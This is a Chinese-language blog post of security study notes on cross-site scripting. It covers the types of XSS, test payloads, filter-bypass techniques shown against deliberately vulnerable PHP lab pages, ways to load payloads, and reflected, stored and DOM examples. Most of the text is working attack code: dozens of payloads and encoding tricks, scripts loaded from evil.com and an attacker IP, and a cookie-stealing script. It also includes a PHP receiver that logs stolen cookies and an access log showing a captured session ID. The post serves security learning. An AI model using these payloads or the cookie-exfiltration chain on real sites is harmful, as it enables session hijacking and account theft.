WEB安全之:XSS 跨站脚本

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

XSS 跨站脚本

1 XSS 介绍

  • XSS(cross-site scripting):通过 WEB 站点漏洞,向客户端植入恶意脚本代码,实现对客户端的攻击目的

  • 主要危害

    • 盗取 cookie
    • 未授权操作:利用 JavaScript 的特性,直接代替用户在 HTML 进行各类操作。
    • 按键记录:JavaScript 的功能十分强大,它还能够记录用户在浏览器中的大部分操作。比如:鼠标的轨迹、键盘输入的信息(账号名和密码)等。
    • 钓鱼:
      • 通过修改 DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码。
      • 通过重定向,本来访问正常站点,但却访问了另一个被黑客伪造的站点,输入了账号、密码
  • XSS 漏洞类型

    • 反射型(非持久):通过诱使(如邮件)被攻击者点击恶意链接访问,触发 XSS 脚本。
    • 存储型(持久型):XSS 脚本保存在服务器端,如果服务器没有过滤或过滤不严,每当有客户请求存在 XSS 脚本的页面时,都会触发脚本执行。
    • DOM 型(反射型):DOM型XSS其实是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。在本地执行,不去向浏览器去发送请求

2 测试 XSS 语句

2.1 基于 HTML 事件类型

HTML 事件的例子:

  • 当用户点击鼠标时
  • 当网页已加载时
  • 当图像已加载时
  • 当鼠标移动到元素上时
  • 当输入字段被改变时
  • 当提交 HTML 表单时
  • 当用户触发按键时
1. 弹窗测试
<script>alert(document.cookie)</script>

<script>alert('XSS')</script>

<script src=data:text/javascript,alert(document.cookie)></script>

<script>alert(String.fromCharCode(88,83,83))</script>

<!-- navigator.userAgent:显示当前访问的 userAgent -->
<script>alert(navigator.userAgent)</script>

<script>alert(document.cookie)</script>


2. 页面加载测试
<body οnlοad=alert('XSS')></body>

<br size="&{alert('XSS')}">

<object type=text/html data='javascript.:alert("XSS");'></object>
"+alert('XSS')+"

<style. type="text/javascript">alert('XSS');</style>

<form action=javascript:alert("XSS")><input/type=submit>

<input autofocus>

<meta http-equiv="refresh" content="0";>

<input οnfοcus=alert("XSS") autofocus>

<input οnblur=alert("XSS") autofocus><input autofocus>

<marquee onstart=alert("XSS")></marquee>

2.2 基于 img 标签

<!-- 当图片来源是错误的时候,就会产生 error,去执行后面的 alert -->
<img src=X onerror=alert(document.cookie)>

<ImG/sRc/OnErRoR=alert(document.domain)>

2.3 基于 a 标签

<A href=http://www.aaa.com/>link</A>

<a herf="οnclick=alert('XSS')">type</a>

<!-- 需要浏览器禁用 XSS 筛选 -->
<a οnmοuseοver=alert('XSS')>οnmοuseοver</a>

<a href=javascript:alert('XSS')>οnclick</a>

2.4 iframe 框架

<iframe οnlοad=alert(document.domain)></iframe>

<iframe src="javascript:alert("XSS");"></iframe>

<iframe SRC="http://192.168.100.129/XSS.js" height = "0" width ="0"></iframe>

2.5 重定向

<!-- 恶意攻击者模仿正常用户要访问的页面,当点击访问以为是正常的页面时,重定向到模仿的页面,输入敏感的账号、密码等信息 -->
<script>window.location='http://192.168.100.129'</script>

3 XSS 绕过方法

3.1 大小写绕过

<sCRipt>alert(1)</sCRipt>
例:
http://www.lab.com/xss/xss01.php?name=<sCRipt>alert(1)</sCRipt>

3.2 转换标签

<img src=x οnerrοr=alert('XSS')>
例:
http://www.lab.com/xss/xss01.php?name=<img src=x οnerrοr=alert('XSS')>

3.3 更换测试函数

<script>confirm('XSS')</script>

<script>prompt(document.cookie)</script>

<script>setTimeout(alert(document.cookie),0)</script>
例:
http://www.lab.com/xss/xss01.php?name=<script>confirm('XSS')</script>

3.4 闭合 js 语句

  • 前提是测试语句包含在 <script>测试语句</script> 标签中
  • // 为 js 语言的注释语句
1. 闭合双引号
";alert(1)//

2. 闭合单引号
';alert(1)//

3. 闭合 <> 号
'><script>alert('XSS')</script>
"><script>alert('XSS')</script>

例:
http://www.lab.com/xss/xss08.php?name=";alert(1)//

3.5 拼凑标签

  • 后端会对输入的标签进行有且只有一次的替换
<sc<script>ript>alert('XSS');</sc</script>ript>
例:
http://www.lab.com/xss/xss05.php?name=<sc<script>ript>alert('XSS');</sc</script>ript>
等价于
http://www.lab.com/xss/xss05.php?name=<script>alert('XSS');</script>

3.6 URL中的 XSS

  • 利用的前提是页面文档中存在调用 URL 的方法。如: $_SERVER['PHP_SELF']
οnsubmit="alert(1)
例:
http://www.lab.com/xss/xss11.php/" οnsubmit="alert(1)

&'><script>alert(1)</script>
http://www.lab.com/xss/index.php?act=commentlist&manage=comment&%27%3e%3cscript%3ealert(1)%3c%2fscript%3e

3.7 特殊字符绕过

  • PHP 中如果magic_quotes_gpc=On,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染而出现致命的错误 。
  • 在magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。
被转义的的例子:
<script>alert("xss");</script>
会被转义为
<script>alert(\"xss\");</script>

1. 使用非字符串的测试语句
<script>alert(1);</script>

2. 编码测试语句
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
例:
http://www.lab.com/xss/xss12.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

3.8 <> 号绕过

不使用 <> 号
例:	
http://www.lab.com/xss/xss13.php?name=' onmouseover='javascript:alert(1)

3.9 利用 DOM hash 属性

  • hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。

    HTML DOM hash 属性 (w3school.com.cn)

    实例:假设当前的 URL 是: http://example.com:1234/test.htm#part2:
    
    <html>
    <body>
    
    <script type="text/javascript">
    document.write(location.hash);
    </script>
    
    </body>
    </html>
    
    输出:#part2
    
  • 利用前提是 HTML 页面中使用了 DOM hash 属性

  • 只在未启用 XSS 筛选器的 IE 浏览器中有效果

#<script>alert('XSS');</script>
例:只截取 # 号后面 XSS 脚本
http://www.lab.com/xss/xss10.php?name=#<script>alert('XSS')</script>

3.10 利用浏览器自动进行一次编码绕过

%253cscript%253ealert('XSS')%253c%252fscript%253e
例:
http://www.lab.com/xss/xss10.php?name=%253cscript%253ealert('XSS')%253c%252fscript%253e

3.11 双写绕过

"><img ssrcrc=x oonnerror="javascript:alert(1)">xss<"
适用于以下情景:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

3.12 字符编码绕过

Unicode编码转换 - 站长工具 (chinaz.com)

3.12.1 unicode 编码

javascript:alert(1) 进行 unicode 编码:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;


<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

3.12.2 HTML 实体编码

javascri&#x0070;t:alert(1)/*http://*/

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

3.12.3 Bash64 编码

<!-- 将测试语句使用 BASE64 编码 -->
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+></object>

3.12.4 URL 编码

当空格被过滤,可以使用 %0d: 回车,%0a: 换行,来替代空格。

http://xss.lab.com:8001/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

3.13 input 标签中的 XSS

3.13.1 使用 a 标签绕过

"><a href="javascript:alert(1)">xss</a>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

3.13.2 使用 button 标签绕过

t_sort=" type=button οnclick="alert(1)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

3.14 HTTP 请求头中的 XSS

需要在 BurpSuite 中修改,在 url 中 XSS 注入会被浏览器做 URL 编码导致注入失败。

3.14.1 referer 中的 XSS

GET /level11.php? HTTP/1.1
Host: xss.lab.com:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: " type=text οnmοuseοver="alert(1)
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

3.14.2 Uer-Agent 中

GET /level12.php?keyword=good%20job! HTTP/1.1
Host: xss.lab.com:8001
User-Agent: "type=text οnmοuseοver="alert(1)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://xss.lab.com:8001/level12.php?keyword=good%20job!
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

3.14.3 Cookie 中

GET /level13.php?keyword=good%20job!&t_link=a&t_history=b&t_sort=c&t_cook=d HTTP/1.1
Host: xss.lab.com:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=" type=text οnmοuseοver="alert(1)
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

3.15 ng-include

3.15.1 ng-include 定义和用法

ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,默认情况下,包含的文件需要包含在同一个域名下。ng-include 属性的值可以是一个表达式,返回一个文件名。在ng-include 指令中的文件名外部有个单引号,单引号外面是双引号.

语法
<element ng-include="'filename'" onload="expression" autoscroll="expression" ></element>

ng-include 指令作为元素使用:
<ng-include src="'filename'" onload="expression" autoscroll="expression" ></ng-include>

所有的 HTML 元素都支持该指令。
描述
filename文件名,可以使用表达式来返回文件名。
onload可选, 文件载入后执行的表达式。
autoscroll可选,包含的部分是否在指定视图上可滚动。

3.15.2 ng-include 利用方式

http://xss.lab.com:8001/level15.php?src='level1.php?name=<img src=X onerror=alert(1)>'
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
// htmlspecialchars() 函数把预定义的字符  & 、 " 、 ' 、< 、 > 转换为 HTML 实体,使用<script> 无法触发

4 Payload 加载方式

4.1 标准 Java Script 加载

<script>alert("xss");</script>
<script src=http://xss.lab.com/HdMI></script>

// 以下内容适用于 http: 与 https:(推荐)
<script src=//xss.lab.com/HdMI></script>

4.2 img 标签加载

<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='www.evil.com/evil.js';>

4.3 Payload 拆分加载

这种一般是输入的字符有限制的时候使用,不断地对定义的变量做字符拼接,在最后末尾使用eval函数对整个语句进行执行
例:
针对 Payload :
<script>location.href='http://www. baidu.com'</script>

<script>var a</script>
<script>a="location"</script>
<script>a=a+".href="</script>
<script>a=a+"http:"</script>
<script>a=a+"//www."</script>
<script>a=a+"baidu."</script>
<script>a=a+"com"</script>
<script>eval(a)</script>

4.4 jquery 加载

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
<script>$.getScript("//www.evil.com/evil.js");</script>

5 反射型 XSS

通过诱使(如邮件)被攻击者点击恶意链接访问,触发 XSS 脚本。

5.1 方式一

攻击者先在一个远程主机上准备好 XSS 脚本与接收 XSS 请求信息的 php 文档

xss_cookie.js
    
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://www.evil.com/recv_xss.php?get_data='+encodeURIComponent(document.cookie);
recv_xss.php

<?php
	@ini_set('display_errors',1);
	$str = $_GET['get_data'];
	$filePath = "recv_data.txt";
	$handler = fopen($filePath, "a");
	fwrite($handler, $str,\n);
	fclose($handler);
?>

攻击者在目标主机上加载 Payload

<script src="http://192.168.100.129/xss.js"></script>

<script src="//192.168.100.129/xss.js "></script>

<img onerror=document.body.appendChild(document.createElement('script')).src='//192.168.100.129/xss.js'>
例:
http://www.lab.com/xss/xss01.php?name=<script src="http://192.168.100.129/xss.js"></script>

5.2 方式二

攻击者先在一个远程主机上准备好 XSS 脚本:

xss_cookie.js

var img=document.createElement("img");
img.src="http://www.evil.com(192.168.100.129)/log?"+escape(document.cookie);
document.body.appendChild(img);

攻击者在目标主机上加载 Payload

<script src=http://192.168.100.129/xss_cookie.js></script>
例:
http://www.lab.com/xss/xss01.php?name=<script src=http://192.168.100.129/xss_cookie.js></script>

攻击者在远程主机上查看目标主机的 cookie

// 在页面中插入了一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程服务器。
// 事实上,http://www.evil.com/log 并不一定要存在,因为这个请求会在远程服务器的 Web 日志中留下记录 。 

tail /var/log/apache2/access.log

192.168.100.1 - - [10/Jun/2021:13:37:37 -0400] "GET /log?PHPSESSID%3Dhd5h2m4ijsso7ntn8t64imldk3 HTTP/1.1" 404 287 "http://www.lab.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0"

6 存储型 XSS

XSS 脚本保存在服务器端,如果服务器没有过滤或过滤不严,每当有客户请求存在 XSS 脚本的页面时,都会触发脚本执行。

例:
var img = new Image();
img.src = "http://www.evil.com(192.168.100.129)/cookies.php?cookie="+document.cookie;

7 DOM 型 XSS

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。即利用 JavaScript 跨平台的特性,通过调用 DOM 提供的相应接口执行相关功能。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过 DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

常用 DOM 属性:
document.referer

window.name

location

innerHTML

documen.write

例:
var img=document.createElement("img");
img.src="http://www.evil.com(192.168.100.129)/log?"+escape(document.cookie);
document.body.appendChild(img);
posted @ 2021-07-04 13:48  f_carey  阅读(29)  评论(0编辑  收藏  举报  来源